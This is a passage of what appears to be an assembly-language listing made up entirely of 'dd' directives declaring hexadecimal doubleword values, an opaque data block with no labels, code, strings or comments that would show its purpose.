		dd 2E309AC1h, 88B37591h, 1042986Ah, 28A56815h, 4661FF11h
		dd 0AD6C6852h, 0AD85E726h, 6EFF5D28h, 0B65AFEB4h, 0A5AD4C71h
		dd 0DA45330Bh, 0E02B2555h, 94A75265h, 61FE4EF5h, 97934C2h
		dd 0B8A9E844h, 506518E2h, 0BF758E5Ch, 0DCA766FEh, 0C82D3C6Bh
		dd 0F727D1F8h, 0A505E75h, 7B835114h, 1E9144Ah, 0E8A1D548h
		dd 1C210E78h, 24222F57h, 5A3C0320h, 92D4B349h, 0B8895CC1h
		dd 6CC9CC6Ah, 253CFBBDh, 802477F6h, 618E7572h, 79FAC04Bh
		dd 22181157h, 36D0B568h, 0DA13065Ah, 0D6179350h, 248561A9h
		dd 8847E67Ah, 2B346DD8h, 0FEC0FA71h, 0BEADBC0Ch, 0D0C843BFh
		dd 0CCF25F3h, 0C9C11AF5h, 0D17FEB79h, 2E1C6AF2h, 839928FBh
		dd 39DD70BDh, 0E2DADCB8h, 45391D64h, 50407E1Bh,	0E5C8330Ah
		dd 330A10B1h, 0C0FE84F6h
		dd 1196267Eh, 5D6AD761h, 0F1FCD8D0h, 129DC475h,	44BCFEC1h
		dd 2AE12B8h, 0DA7CC086h, 0C27F0FA9h, 21CE3CF5h,	125F79F8h
		dd 108C3853h, 74CC6487h, 209682EAh, 0C7EFF35Dh,	24B6E6Ah
		dd 97DCD97Eh, 0ED7F4F9Ah, 0FC792D45h, 3775759Ch, 90C7B23Ch
		dd 2FD197ACh, 24FCCC42h, 3DAC9B78h, 0C86A4C7Dh,	0FAE465CCh
		dd 0DE126099h, 0FFD36CCh, 44EFE027h, 0A328A829h, 0A4089D81h
		dd 49A7B80Eh, 0BA6711FEh, 1BFF427Dh, 0CD3C5242h, 39274DA7h
		dd 45242972h, 12B2ABF2h, 0A82154B8h, 0F609F1C0h, 0DDA58B7Eh
		dd 0D8880AACh, 7875E383h, 0B0CC9243h, 1A7E2ECEh, 0B9A0DA08h
		dd 359488D4h, 1BD4EF49h, 0B36BE67Ch, 0A3F09D4Dh, 0B6A1755h
		dd 0C9CCA85Eh, 55C57757h, 2BD43EB1h, 4E13F5EEh,	535D5A77h
		dd 4F579320h, 4E3C28A3h, 4567CEACh, 7EAC7DBCh, 0EBC4ADE2h
		dd 21389EA1h, 5FA55F4Ch, 145E981Ch, 8E85D328h, 1023EC47h
		dd 451351AFh, 0EB072770h, 3320C0CCh, 0E70C4F13h, 7AA01796h
		dd 0EC88C08Eh, 7FE67059h, 4225983Dh, 0D0BDD98Ch, 0D39D0654h
		dd 9DF03A2Bh, 374F6165h, 0C2451E8Bh, 0A192FD3Ch, 0C6A63B2Dh
		dd 0E5CD7E38h, 0BF0C2861h, 8D1D8990h, 26A25DB5h, 0E75DDF8Bh
		dd 43ACA4CAh, 0B6097406h, 5F51FC4Dh, 3A504C91h,	831E8AB3h
		dd 754BC5C6h, 0EB3164D7h, 922E908Dh, 1CB3F85Ch,	0D364222Fh
		dd 0A02421B5h, 8E72E01Eh, 3A0EF24Ch, 8B90A70Ch,	0E5BC09E7h
		dd 28F8C448h, 0F0048520h, 30C85356h, 13514A32h,	2D2FDAF9h
		dd 0FE30255Fh, 0A65F2FA1h, 0FA936F1h, 0AFDFCC21h, 364263BDh
		dd 0F41037A5h, 0C8428C74h, 1EE4A1DEh, 0B01B2252h, 3F46CD77h
		dd 104A7544h, 0B220729Bh, 85E0B440h, 0E2221091h, 4E612FDh
		dd 47E948E8h, 0F075F2EAh, 33D5F132h, 2A31CE4Dh,	50D83AD4h
		dd 2D90889h, 0DA656E96h, 0E0F4C0E8h, 0F89087DEh, 1404C4B2h
		dd 0F858C048h, 13F2258Bh, 0A808065Dh, 7ADC5F67h, 0D9CC23DCh
		dd 6A2D1BD0h, 0F424E451h, 0DFBC3E28h, 0F1EC4376h, 881F57CCh
		dd 57E00ADCh, 0DFBC5C34h, 46EA157Dh, 23DFE2F5h,	38F4E4B0h
		dd 0BF38627h, 0C63BFC0Bh, 0CC8DEE9h, 0CA881F8h,	84224735h
		dd 217E7AF4h, 2046F6F4h, 0C4DAE3A5h, 1C08F733h,	0A2945FDEh
		dd 62658858h, 2274FE6Ch, 0A99B01C5h, 0C5C66945h, 3F9A25B0h
		dd 0A6371502h, 0FC6C16A2h, 7B146801h, 2C153B3Ah, 6CF8AFFCh
		dd 213F8DFEh, 984E54FCh, 597E60ABh, 7869A583h, 3C7A7E87h
		dd 0BA86592h, 8619BB26h, 5A9A6006h, 0AC7D8D0Eh,	377C8D89h
		dd 82805130h, 847D27DDh, 11885533h, 62088C1Ah, 180C900Eh
		dd 21861194h, 9C881698h, 3AA06229h, 0A4EA0729h,	0ABB0463Fh
		dd 0ED4668Eh, 0B86706B4h, 2004BC2Eh, 8E171953h,	0C7C304C4h
		dd 4D1B133Fh, 0CD558CCh, 0BF48ABD8h, 0D5578B19h, 0E9FCBE39h
		dd 7356B50h, 4238C7A1h,	0FCE1C4D2h, 8ECD93EAh, 0CCB9AC2Ah
		dd 0BA56728Dh, 35189416h, 3E179967h, 0D8EEF525h, 0C99E3D6Fh
		dd 12AB9DB5h, 81A88A3h,	3B9A6837h, 0C3FB9AB9h, 0FEDBF27h
		dd 0D266E23Bh, 1A5CA2EFh, 0F1522BD7h, 170CC4E1h, 0EB4B90E9h
		dd 8A8DE829h, 0C04F25F4h, 1828E2C1h, 557DB80Bh,	1A321AA5h
		dd 0A4B930ACh, 0D931F4Eh, 0C62896DCh, 3004DD0Ch, 124DD443h
		dd 169CE027h, 44168BFEh, 76EBB095h, 0E2583968h,	0C3DEB2B9h
		dd 2922D5CAh, 0E560120Eh, 9548848Ah, 458883A2h,	12FD5FE5h
		dd 0ECE9888Eh, 96C48D69h, 1BE66D6Bh, 0F84D3450h, 0DE6868B1h
		dd 7C6BAE69h, 5F81F025h, 349929F8h, 0C15B3840h,	0E2A548E8h
		dd 68AB9625h, 44F40C6h,	6888EEE2h, 0DCFDC062h, 406171D1h
		dd 0B0890E58h, 31B79C7Fh, 0E42960D1h, 969F70D5h, 733BD9D7h
		dd 0BFB392D0h, 0C0586688h, 7C2C88FBh, 10EEED97h, 0FBC0A158h
		dd 468C5408h, 0FDC011C4h, 2CFBE4A7h, 9D447BB5h,	94953E5h
		dd 7A314E59h, 7EA38575h, 1D7BF4C2h, 0F7E277FAh,	5ED1CD56h
		dd 85D4714Ch, 64346EA1h, 0B4F4702Ah, 0BF8DBC03h, 52995340h
		dd 906DBE65h, 0B8120A6h, 1311085Dh, 75EF32D0h, 49952E87h
		dd 2AAF202h, 7E286A02h,	0CD6E2586h, 79509D25h, 0EDD6962Ch
		dd 5D086265h, 58DE6ADAh, 9DD4230h, 662D74DEh, 0C1F008B2h
		dd 36508E6h, 0A45A0A2Fh, 5E14E029h, 0B4D916EBh,	0D4B4BDACh
		dd 0C06F8319h, 0C248CC22h, 1075E418h, 309F48CEh, 0B506EBE5h
		dd 0D4DEB9A9h, 205AEA71h, 2305DB4Fh, 442126E8h,	9A8AD85h
		dd 7FB0D868h, 0C1A7CCE7h, 0F500F0EDh, 5C53EB02h, 0AE437E20h
		dd 3CEB10A0h, 93E8478Eh, 0F0C811F6h, 68F5387Ch,	0F4438477h
		dd 19E3F68Ah, 49C0CE0h,	3754EBF8h, 0F809CCFAh, 0ECB0A020h
		dd 0A54EA462h, 0A6311606h, 206A488Dh, 0FFA46B39h, 24B1A256h
		dd 0AE3980D9h, 0F8F160C8h, 4242D403h, 7485E133h, 45F1B038h
		dd 0F2AD3888h, 0DE523C60h, 0AEB2A445h, 2E22BC23h, 97973C7Ah
		dd 0B03B88E0h, 0FDC4235Ch, 427B8488h, 0A615FBC0h, 71C95D6Ch
		dd 9255F2E9h, 0C2EC5CE1h, 4614FDC4h, 12914344h,	0ECF37B34h
		dd 97BB91D0h, 0BBE134EAh, 0B2C29D52h, 0E1F76BF8h, 9440187Eh
		dd 27E9D157h, 2CD83C8Dh, 11A87C9Dh, 0B03B9BF7h,	6D028A0Bh
		dd 0A62A5A88h, 8B022308h, 75E681CEh, 0F941A9FAh, 0BFFB5EEDh
		dd 0F4EBF884h, 549E5DAAh, 0C9D36F55h, 5389B41Fh, 27BE3F16h
		dd 0F40C231h, 9C259C06h, 7C60E26Bh, 0B819FA17h,	93693CCCh
		dd 0F15B4BE3h, 24B47F6Ah, 521B96D6h, 73B59758h,	0AAF893C7h
		dd 0BF0DDAA7h, 33C0578h, 0DB9709E7h, 221B9A55h,	0E5D845CEh
		dd 0A0BE84DDh, 0D2A4BD05h, 8515ACDAh, 0BD58CBA0h, 0AB0DC234h
		dd 75849DA8h, 82B4EE59h, 7F9889ECh, 1109FA39h, 0A481A83Bh
		dd 6B708C64h, 5045B60Fh, 849D059Eh, 8CFB9C4Bh, 0C2D68D8h
		dd 6162F9D9h, 4C13EB18h, 4CF47016h, 4529586h, 63E71382h
		dd 0AB0FF412h, 568F5DA8h, 0DE06360Ch, 0F91E10ACh, 0AEC9E162h
		dd 0B04E0DEEh, 0B2B8CD23h, 0B8834485h, 40B22EB2h, 72B49D31h
		dd 5752B508h, 0BC36B665h, 0B3C02A62h, 1036EC09h, 0C830C447h
		dd 2566CC86h, 0B90BE8D3h, 0CE9EE00Ch, 2047DB18h, 8A2B2840h
		dd 0CBC0ECCh, 0F0CBBD8Ch, 7DD0B90Ch, 0CCD2A978h, 881DD409h
		dd 0D145024Fh, 8CBA053Fh, 6B9A844h, 5F641FB6h, 5ACAA9B8h
		dd 7D9814B8h, 55A8C68h,	93582C48h, 7993FF88h, 275DE3C6h
		dd 0E4DC060Dh, 1D5ECDEFh, 9F581A67h, 7451C088h,	0B3455712h
		dd 51462334h, 849D9868h, 20CACC68h, 0B496D2F5h,	5C578897h
		dd 0FC4F04BCh, 18F2D220h, 53FC5D7Eh, 4E544027h,	0D529F816h
		dd 0B24CBC2Fh, 58912914h, 14B2EB8h, 89540F57h, 0B20471F2h
		dd 0D090235h, 0E92124D4h, 0E0811004h, 742E82C7h, 42EA8C14h
		dd 4314D140h, 4C84A02h,	0F27C5F94h, 0C094F4E2h,	915CA7EAh
		dd 75543477h, 19B2C285h, 784F573Ch, 7533F4D1h, 58AC861Ah
		dd 7E2BEBE9h, 33590F54h, 0A0C6EAFCh, 5B4D8D01h,	4B4BCAECh
		dd 1CFCB085h, 0E8B9CD3h, 0C588B08Eh, 0BA1BEB73h, 30E3EEC4h
		dd 0C21D208Ah, 41527DF0h, 69BBAC5Ah, 57B793C5h,	0EE5665EFh
		dd 0BC4F6B9Eh, 0B6CA5A8Bh, 0B3C4E02Dh, 0A1B579BDh, 7DC489A2h
		dd 0BD92EEE7h, 3EE81124h, 0D64C1D42h, 0C5201024h, 0AFA6578Ch
		dd 0C53A6B3Dh, 0B5F6ADFFh, 0C857C90h, 2CCD9301h, 0B93B1F6Ah
		dd 932274D8h, 591BE5Bh,	262305EBh, 323D3916h, 0F0195280h
		dd 0F57CC11h, 80331145h, 7C36538Bh, 847CD242h, 0AC4FD065h
		dd 3349799Fh, 0D876AC2Ch
		dd 57FC656h, 76CAED5Bh,	72A3660Dh, 0F449A41Bh, 1774058Ch
		dd 65A6B701h, 4EC81376h, 0E809978h, 22111379h, 31B77A2Bh
		dd 11EE7C3Bh, 4480E1E0h, 88C8FA3Ch, 8A43C850h, 61B257ADh
		dd 0E519271h, 6D76284Dh, 86347E46h, 682A2C69h, 57D8085Bh
		dd 0DD846915h, 4915573h, 2A88A315h, 52FBF7C2h, 0BCF56AC3h
		dd 11DCF254h, 69E74656h, 9F1E9E95h, 0AB49297Eh,	0A7FC1421h
		dd 0B7D89193h, 0B98612E8h, 0FB8A4A76h, 0CAAB15Fh, 0F6496921h
		dd 71D846A7h, 42497ED3h, 0F12CC9C6h, 0C260EED5h, 4DFF6956h
		dd 60682D22h, 18647365h, 0BFA42DCEh, 95931699h,	10CDD56h
		dd 17CD452h, 3E3BACEBh,	0C89BD2C5h, 0F0120E47h,	8F2AE6FDh
		dd 0DAB31347h, 3B7EB084h, 752B10E2h, 4655FD8Bh,	1CFF976Ch
		dd 12129F72h, 0B6479068h, 52EBD495h, 0B595C67Dh, 4C7CEFE2h
		dd 0A1EE5769h, 14958C45h, 0AF92C314h, 6A25F8CEh, 5714B275h
		dd 75250151h, 0F0BD1810h, 1D8E7EF7h, 0C883050Fh, 5758EBC7h
		dd 48705BCFh, 7B8B043Ah, 79EB4D4Ah, 1A4EDE0Fh, 744E118Ch
		dd 0C708A0C1h, 0DD049ACFh, 41FC0219h, 2B100796h, 0A685FB2h
		dd 98C8958Bh, 0B6749462h, 7E955D50h, 397D27F1h,	0FD2E0CE3h
		dd 2558886Fh, 0A696BEF0h, 0C403EC71h, 9CD16B59h, 81A3C7F3h
		dd 0CD774CF2h, 0A8D9AF4Eh, 492BE2Dh, 87196A02h,	1EFF04D6h
		dd 0D79D89CAh, 43844D63h, 447FEF12h, 2196C7FCh,	22209349h
		dd 15707814h, 167C4484h, 80451584h, 88100717h, 508CC435h
		dd 0C519031h, 10584394h, 9CC46E98h, 77A03171h, 8743A40Ch
		dd 0C489A810h, 0B0318BACh, 21B40C8Fh, 0B80801BBh, 4BC67BDh
		dd 99C02004h, 0C4218405h, 0B8C884DCh, 0EACC2006h, 0D010840Ch
		dd 0D4820D3Dh, 0D8101388h, 81A420Bh, 421F40DCh,	0F32290E0h
		dd 0C528F8ABh, 0EA03E418h, 0B554AB71h, 52FC2293h, 6458E0DAh
		dd 252EFF86h, 8D634282h, 0F29105BCh, 5584ED66h,	532E9C08h
		dd 9C38F197h, 0B927F485h, 61E4C9CDh, 0C5DF5150h, 41E4016h
		dd 46425064h, 909372D1h, 63CB9956h, 0B9E75D39h,	0D45E8CDFh
		dd 84891207h, 835E230Dh, 9904C226h, 7C701E3Ah, 9324BF5Eh
		dd 0AD25D5AFh, 7EE6BE57h, 9DA3D634h, 0FD9D055Ch, 0E3A19FC0h
		dd 8BFB770Ch, 0A5BD2C73h, 0C8FC15EAh, 0BB41DC2Ch, 0AEF04E65h
		dd 1AEB1A71h, 0CBBAC345h, 504B71A2h, 59D665A3h,	8F8F689h
		dd 127C4F1Ch, 0A02D0543h, 0BEC5DCF1h, 5C634A0h,	564510A0h
		dd 1AB2F0B9h, 0E0626A9h, 0AA08A144h, 1B7B6A4Eh,	6678084Fh
		dd 0EA1A4A3h, 0A80D8005h, 0C2CD0C13h, 5FA23291h, 28A690C3h
		dd 458D750Fh, 0A52E28FEh, 0C1080502h, 8FEBDFE0h, 6EC3BAB4h
		dd 0CFA2A470h, 22F1AC84h, 4FBED408h, 881BB0ACh,	5FC11D2Bh
		dd 0A853568Ch, 0C6A9ACC2h, 1EF88B88h, 90E7C129h, 0FA031043h
		dd 633C5657h, 4514B8A3h, 548C0A0h, 0F24087Dh, 146A60C0h
		dd 660EA1A2h, 8CF0AE94h, 1493BC2Bh, 0B6C8A0C6h,	0DC3D15BEh
		dd 81E02266h, 0F715E1E3h, 0E2A314CFh, 25A12125h, 0FC89106h
		dd 0CC5D0265h, 4ACA3A48h, 5EB0995h, 84392F19h, 562F7514h
		dd 4A64699Fh, 0D1A14AB4h, 5DD84A4Fh, 22BC191h, 1FEB0D83h
		dd 1011085Eh, 0A3599F91h, 5FCA44Dh, 0C298BA4h, 6A6785B8h
		dd 82BE59C2h, 0B1E4BF53h, 748AAC4h, 0E3008AC4h,	0A0BEA5F3h
		dd 56929AA5h, 0E85A18B2h, 13D82A6Eh, 122A2982h,	5E1CB427h
		dd 0D0681430h, 9F81FB96h, 0C7635FFh, 81C0624Fh,	5F923178h
		dd 238C0F13h, 0AC9DDA52h, 0E897527h, 535F1542h,	49010545h
		dd 0B880C2F8h, 0E69EBB64h, 7BC6F569h, 2F78C82h,	0D5B8BFC4h
		dd 23EDFA7h, 785D1E74h,	0AEE5BFC1h, 3CF0F98h, 0FE810CF7h
		dd 7C48E720h, 42EBDF12h, 6953E0C0h, 0C22DA2F6h,	9E4761BCh
		dd 66533B42h, 0D117FC8Bh, 0D00C0B73h, 8D3F9F68h, 39B88635h
		dd 0DCFA90C4h, 1F902489h, 4294D41Ah, 2067D1F6h,	49DC9D80h
		dd 857EF8F8h, 30DBA0E2h, 46188D36h, 68545018h, 0EF4AD3E4h
		dd 8E7A6F99h, 3EEE4E86h, 702C2043h, 0BF848CB8h,	70AEB64Fh
		dd 56531057h, 0A05C4495h, 8071401Ah, 362F04BBh,	9E1AD94Dh
		dd 4DF696BEh, 6BE03B18h, 83288DFCh, 0BF535212h,	0DF2B0C80h
		dd 7D08DE3Bh, 33B70FE3h, 112850C3h, 0F84205FAh,	0F610F021h
		dd 6F7CF28Bh, 57127F10h, 2F7EE656h, 82521628h, 3A22D14Eh
		dd 0BF83D67Ah, 69BBBF9Ch, 94D72370h, 0B858CA04h, 81334783h
		dd 42050888h, 9B903D22h, 390BF27Ch, 510244Ch, 48B95195h
		dd 0C144681Bh, 4141328h, 68042AA5h, 98BA7F30h, 0C32B5937h
		dd 3E10C556h, 31471035h, 9D375CCh, 9D7B12D9h, 0DD5510D9h
		dd 5E4BC033h, 0AC75FCE9h, 0CA1C4A9Fh, 458675F4h, 0AA3CA4E4h
		dd 5F044E24h, 7FA05539h, 893BA1F8h, 0B8DBE1EAh,	751EB42Bh
		dd 74521E24h, 864EB531h, 6968ECE8h, 0EC60FB74h,	1387FEE4h
		dd 66D4BE80h, 1AAF8316h, 55731208h, 7E9784A2h, 0ED031700h
		dd 865127Bh, 62E76D66h,	527D1E3Bh, 583CB091h, 0EBBA1936h
		dd 3C13C6CAh, 7470C268h, 7657521Ah, 5656FC20h, 92B4DF72h
		dd 0BFA6DF6Ch, 68419D7Ch, 0AA3C7F58h, 753959B0h, 0D6E0F04Bh
		dd 971BA456h, 0E842427Ch, 4B1C1AFEh, 8FAE3FD3h,	5767105Fh
		dd 83A96C4Eh, 516EF782h, 422D53BDh, 715F5F74h, 65CCF314h
		dd 32BEFA57h, 46F524A3h, 13E19C71h, 0C7D8FA08h,	0A2224B74h
		dd 62BE9302h, 3D3357A7h, 67DB0B51h, 2EBB25Fh, 841FDB7Dh
		dd 0EB11B4B8h, 6D21C4DBh, 64BD4C92h, 891CE1D1h,	485A7CB0h
		dd 4FE054E8h, 14D88B7Ah, 0CFFB8359h, 0BA527517h, 48689988h
		dd 0E8E720F4h, 0AF87D08h, 491B571Bh, 0BCF4C9E2h, 38BA53E5h
		dd 0C4B4EEBFh, 98682ED4h, 7B75E90Eh, 64533B22h,	4ED6C423h
		dd 0A25FF859h, 21B4DDF0h, 0B2154E95h, 0B35A9D23h, 4A345652h
		dd 20DA2DF3h, 0A576E777h, 38573270h, 89AD5A8Dh,	6914B8CFh
		dd 8A3BBA5h, 58147415h,	3A2EB92h, 32A37585h, 0C5969038h
		dd 0C38FC284h, 0F1E577Ah, 490A0438h, 3A04E2BDh,	895BAD40h
		dd 0EBEBDF82h, 0FAB098B9h, 0B78FEC5Fh, 0E861C353h, 0BE200A75h
		dd 3744B580h, 78C85326h, 69EBD045h, 9716FA81h, 223D032Dh
		dd 0D4886451h, 74F89CBAh, 53D07CC8h, 62E43C37h,	0DEB17F39h
		dd 464EA5D0h, 0D2B2812Fh, 3B6ACD6Fh, 208586D1h,	9D7A4332h
		dd 7045B2DDh, 848A1413h, 3C3A140Dh, 2124E8DAh, 0FC0D415Fh
		dd 190309F9h, 4D5C2341h, 84D17C2Dh, 0BA53CD76h,	0F76262CAh
		dd 7D3A7FF4h, 49EFC9C4h, 5BE36A32h, 2B66BBD3h, 80B02154h
		dd 4114354Ch, 7F2EAE71h, 0B692FC45h, 9DBE7504h,	0F5AEB3BFh
		dd 5C0EAF76h, 98820404h, 56394380h, 5DDE1249h, 4385B2CCh
		dd 52F1225h, 9EB0C8FCh,	0B805E13Ch, 595037CAh, 9F27FB04h
		dd 13971BD2h, 0FB879DB3h, 7F9729E5h, 94444710h,	68AC0D26h
		dd 4C0EC380h, 6454B044h, 1CEC9CC6h, 0B8E555E4h,	4EDFCFEBh
		dd 754041AAh, 0A35C6818h, 0DF2D916Fh, 72CB2614h, 39EC39C9h
		dd 0A265F43Bh, 12BF7FCEh, 814BCAA3h, 0D1C73B20h, 0B35B7E03h
		dd 0DFF5DA6Ch, 45906E65h, 0C4D8F784h, 93DFBD2Ch, 0E0BD32EFh
		dd 0A67EF519h, 0F7306921h, 148CC196h, 6B88B551h, 0AB61F7B7h
		dd 0D5019956h, 571E48F0h, 11161CA6h, 4060F455h,	380FC33Bh
		dd 8652AC8Ch, 0A10BA17Eh, 0EC792913h, 8B4453BCh, 5E488AC4h
		dd 3DAFAD70h, 3AFFF089h, 7E097F26h, 0ADD29475h,	0B4301090h
		dd 0E70E2CD4h, 3A2049B0h
		dd 9A4CAA98h, 26144876h, 3B51C1E4h, 74D30FEh, 48EB51B7h
		dd 61B1C9C3h, 67DB7BA8h, 0D118BE1Bh, 9EBCA74Bh,	0F65329A4h
		dd 18147173h, 0CE2FBD41h, 97F66BC7h, 0D7409163h, 5D5F44BEh
		dd 5B65A7F8h, 0BB4B21A8h, 246270CFh, 0FBDDFE5Ch, 0A607A17Ch
		dd 4D772774h, 0AE28340Dh, 23428A7h, 4001C8C0h, 7750187h
		dd 2E819468h, 5046D004h, 430C5E99h, 0BB28D290h,	50903379h
		dd 0BCC59364h, 48FCC2FAh, 924BEC51h, 22297586h,	81446B02h
		dd 8DFB3C10h, 4E425789h, 0EB3C2D3Eh, 0D38734F5h, 42E3AF21h
		dd 88AFD6h, 7BC88A9Ah, 3E9A3674h, 7B952484h, 54CB0E7Ch
		dd 425F7DE9h, 0F4084A60h, 0BEF4E514h, 0CAAF9264h, 98EB156Ch
		dd 9688980h, 0D79C7796h, 467E1283h, 62DCF1BDh, 1C3AFE40h
		dd 55A9A2AEh, 46B433EEh, 71F17E27h, 830519E4h, 0F8DC72FAh
		dd 12A24DD5h, 297D6548h, 817B1284h, 5D08796Dh, 0DB8323ECh
		dd 99864B46h, 107BFC62h, 0BCA78CB5h, 767E081Eh,	75C98FA5h
		dd 104B099Eh, 0B9A1CDE8h, 84623AAAh, 55CE7734h,	58F6332Eh
		dd 0CBA4B80Bh, 0DDABC501h, 9435D02Dh, 158F7794h, 0F595F3E8h
		dd 735061ECh, 21045141h, 2514DA31h, 22699852h, 46850D61h
		dd 245D73E0h, 31B1BD19h, 836041FAh, 0E697B22Fh,	0CBCE9D34h
		dd 9DFD3821h, 0F042E334h, 0B84E1CFAh, 0BE33D46Ch, 2BBC758h
		dd 25E407D0h, 0AE4F5362h, 0E45569B5h, 3C908178h, 7E8EAA92h
		dd 4B890829h, 0E883B1DFh, 0A0CFFA07h, 74CC128Ah, 6D2D5011h
		dd 0B3925CA1h, 42DC5ECAh, 88B9F78h, 0B46F815Ch,	73FB80DAh
		dd 3CC38B22h, 9E6BC72Bh, 549A0855h, 0E416F9EEh,	0A26AC7FDh
		dd 7DCD9E5Bh, 74DCAE08h, 0F83B7805h, 834A3E77h,	8B01BC87h
		dd 0F812D4C7h, 42AD5A65h, 913868C4h, 4E10EB0Ch,	7C8B7D12h
		dd 0C5569D8Ah, 0CDCC5FDAh, 8722D0B0h, 0A6A9D627h, 49741B42h
		dd 0FF44A9B7h, 2F8022A3h, 42F6A54h, 4DB38283h, 5AB95995h
		dd 28BC6456h, 0FCC89EA9h, 0F789EBE8h, 917F9F1h,	56FA41C7h
		dd 0E4983FBBh, 0A191AA63h, 6A31C883h, 87B2F25Dh, 0A43AB5Eh
		dd 0DA8A2545h, 516284AAh, 0B68A5BBCh, 57EC4CB8h, 52023710h
		dd 0E8146432h, 214D99EFh, 37AD2FD6h, 0B7D507Bh,	900D0EDCh
		dd 80154276h, 241CDD83h, 36503534h, 1B264824h, 8468172Bh
		dd 0D2D5E382h, 0FC996A6Ah, 9B47BC0h, 6A01F7AEh,	0DDEB5D05h
		dd 0F1B96F50h, 0A7D98C7Eh, 9E148E40h, 0F6AD71E1h, 0EE7424D1h
		dd 0E879565Ch, 693FCAF9h, 3E9FE755h, 0D55C442Dh, 0CBAA5F64h
		dd 891C0A6Eh, 493412BDh, 13F186BEh, 1FAC43B6h, 0B5896602h
		dd 3071FF20h, 74EF1EA0h, 27852802h, 3F1C9011h, 0E674B322h
		dd 12752505h, 913765DFh, 0C4339556h, 17B4F068h,	46FE990Ch
		dd 9C871DC4h, 16DF222Ch, 0AFD33559h, 2C65FBA1h,	84B5CA7Fh
		dd 0ABACC933h, 107E0802h, 0D0DF158Ah, 14300693h, 213B4101h
		dd 0FDF07C27h, 1169B96h, 11E05ECCh, 6721B7C9h, 0CA8BC195h
		dd 3867915Ch, 0D4FC65F2h, 0BF324110h, 0BE132A08h, 8B3698ABh
		dd 0DA495D4Fh, 22F68D8Dh, 0EAA8A56Ah, 0CD297EE4h, 4890D20h
		dd 1E08FD30h, 0B0CC0B12h, 0C20B4000h, 0C125589h, 0AEF01674h
		dd 0EA31BA6Ah, 0F7990659h, 70D285F9h, 2C06C601h, 4EC2EB46h
		dd 803B6561h, 72F13BD6h, 0E8A080Eh, 0EF408F88h,	208047EBh
		dd 0D5C78B02h, 446458F9h, 0C30BC724h, 2BFB4834h, 2164089Eh
		dd 0F081806h, 0B4B80605h, 0B2C332D3h, 0A806A4B0h, 9819A032h
		dd 4286900Ch, 2DC84388h, 0D73E6218h, 10DCC5A9h,	0F406F099h
		dd 0FC01F802h, 0F32FD4A1h, 86112897h, 851F032h,	89E827F8h
		dd 0D04B145Ah, 5006728Ch, 0F7E8E359h, 2F4FB12Bh, 42981928h
		dd 8D476601h, 0A178A19Ah, 93E2536Ah, 59EE7D79h,	0C36C4EDBh
		dd 89C45B23h, 0CC953CA9h, 86F41EF0h, 817A9D43h,	898E0CFCh
		dd 5AF27F53h, 9C106A36h, 7BCEC49h, 24C27011h, 2A27CE09h
		dd 0ECBAC0BFh, 8C9297BEh, 684A54D0h, 0A7BB3DFBh, 27CF9467h
		dd 5A16A0CDh, 72E153DEh, 857F585Fh, 0FF684229h,	0EB5B0634h
		dd 0E5B8BE32h, 56AF6A85h, 0EE134F5Ah, 0A47F9DCBh, 0F30F8E35h
		dd 656A2324h, 15B52C60h, 4B72433h, 8AA1305h, 66371466h
		dd 413B750Bh, 5A4FD9FBh, 0FD04A327h, 672DD37h, 8069230Ah
		dd 526B7881h, 326B8168h, 8761E5DDh, 1A532475h, 0B248143Ah
		dd 84046809h, 0FB1160D9h, 0D9C9AFB5h, 67802C97h, 7D40E85h
		dd 3674926Fh, 0E83C8A1h, 0E9A91DD2h, 15DD2716h,	0F4FB103Bh
		dd 53C223E9h, 6ADDDB33h, 0DCC4423Eh, 491073F7h,	287EFD5Eh
		dd 0D2E661EBh, 4CA804E0h, 708D03B9h, 86E3EC02h,	0F5570F50h
		dd 7C381448h, 0BDF74C1Fh, 8440680Bh, 0F3667D7h,	49951274h
		dd 0A91E00F4h, 65C38C0h, 84749BA1h, 0CC755908h,	45DFB3BFh
		dd 0FD982B85h, 28044F9Ch, 5E8EA7B4h, 9838D864h,	0DAEC9185h
		dd 0FCB50B96h, 1FEB1A2Ah, 47327C5Fh, 0F450AFECh, 58DF1815h
		dd 8464C47Dh, 25156927h, 67E51016h, 642F873Dh, 68083C65h
		dd 786464FDh, 0E28882FEh, 4D24684Dh, 1271C5Dh, 7F6F6120h
		dd 6B61A618h, 4DDFD844h, 566121B2h, 9D2E7BFDh, 9C7C5327h
		dd 45154CD9h, 0BA04BE18h, 0B66E25CDh, 84A816E7h, 8B1E28EBh
		dd 29FD3D5Bh, 0BCD9215Bh, 69A26FFEh, 3BD7D699h,	5EBB928Ch
		dd 74FD02C8h, 1DA7F671h, 80549110h, 0CFA32BDh, 1212752Eh
		dd 36298BE9h, 2E1E0942h, 99B63953h, 0A8B40E64h,	53188517h
		dd 6ADF6237h, 0F34F141Ch, 4061277Ch, 0C8CA2C6Fh, 0AB697A1Ch
		dd 0DC3B7791h, 0DAE8FD2h, 0E3B7700Fh, 85B82215h, 85FDA252h
		dd 99D54BAEh, 213E4FD7h, 0A168626Ch, 0FA1087A8h, 0ED8C55DFh
		dd 107BDE4Fh, 28BCFAB4h, 565254A6h, 75B1CF86h, 0A08B8D84h
		dd 9C152C3Fh, 76DC024Fh, 64238625h, 20D82DFFh, 0DB3904Fh
		dd 90419E17h, 0F74FC0Ah, 24B4390h, 868038C1h, 3F3D640Ch
		dd 166CB456h, 9E8B2104h, 0DE95BCAFh, 68531AA0h,	73DF2A60h
		dd 1AFD2DD8h, 2F0D4307h, 25E95727h, 4028EDD6h, 484CA30Bh
		dd 1BC84D70h, 61406408h, 500885ECh, 0D0214A43h,	771A4895h
		dd 670E4468h, 0CC93640Dh, 3869F26Bh, 51354490h,	302BD548h
		dd 3840BB98h, 0F25740CCh, 0D68544BCh, 0C7FFBFF2h, 0A4551F7Eh
		dd 0C70F3E0Eh, 54586A01h, 7E41828h, 1C668BC1h, 0F8B05EBh
		dd 9F18C367h, 3D518342h, 9E69C21Dh, 891B7857h, 484F9164h
		dd 0B14F5DDEh, 33EB1805h, 84444911h, 6931F968h,	0E5797190h
		dd 0B710F50Ch, 0E475205Dh, 0F87A5D99h, 846AB370h, 957F218Fh
		dd 50449911h, 13EB5BB4h, 2DB0682Bh, 0D4F633E2h,	808271Ah
		dd 19F94916h, 9F61689Eh, 0C84FE364h, 424ED0FDh,	0FF21A58Dh
		dd 0C3142464h, 53190B50h, 89F0554Bh, 0BBE5C954h, 0DF496EFEh
		dd 2610650Ah, 4850111Fh, 8DE88361h, 0D2527D44h,	9A54FB48h
		dd 0FC129A8Fh, 4119B6D6h, 2ED928B5h, 11E52822h,	1CD04C8Dh
